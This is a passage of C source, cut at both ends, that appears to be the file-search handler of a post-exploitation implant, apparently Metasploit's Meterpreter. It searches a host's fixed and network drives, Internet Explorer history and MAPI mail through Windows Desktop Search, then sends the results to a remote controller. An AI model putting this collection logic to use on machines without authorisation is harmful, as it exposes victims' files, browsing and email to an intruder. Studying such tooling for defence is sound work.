sprintf_s( cDrive, 4, "%c:\\\x00", cIndex );
dwType = GetDriveType( cDrive );
if( dwType == DRIVE_FIXED || dwType == DRIVE_REMOTE )
{
pOptions->cpRootDirectory = (char *)&cDrive;
dprintf( "[SEARCH] request_fs_search. Searching drive %s (type=%d)...", pOptions->cpRootDirectory, dwType );
search( &WDSInterface, NULL, pOptions, pResponse );
}
}
}
pOptions->cpRootDirectory = "";
wds3_search( &WDSInterface, L"iehistory", NULL, pOptions, pResponse );
wds3_search( &WDSInterface, L"mapi", NULL, pOptions, pResponse );
}
else
{
if( strcmp( pOptions->cpRootDirectory, "iehistory" ) == 0 )
{
pOptions->cpRootDirectory = "";
wds3_search( &WDSInterface, L"iehistory", NULL, pOptions, pResponse );
}
else if( strcmp( pOptions->cpRootDirectory, "mapi" ) == 0 )
{
pOptions->cpRootDirectory = "";
wds3_search( &WDSInterface, L"mapi", NULL, pOptions, pResponse );
}
else
{
dwResult = search( &WDSInterface, NULL, pOptions, pResponse );
}
}
} while( 0 );
if( pResponse )
{
packet_add_tlv_uint( pResponse, TLV_TYPE_RESULT, dwResult );
dwResult = packet_transmit( pRemote, pResponse, NULL );
}
wds_shutdown( &WDSInterface );
if( pOptions )
free( pOptions );
dprintf( "[SEARCH] request_fs_search: Finished. dwResult=0x%08X", dwResult );
return dwResult;
}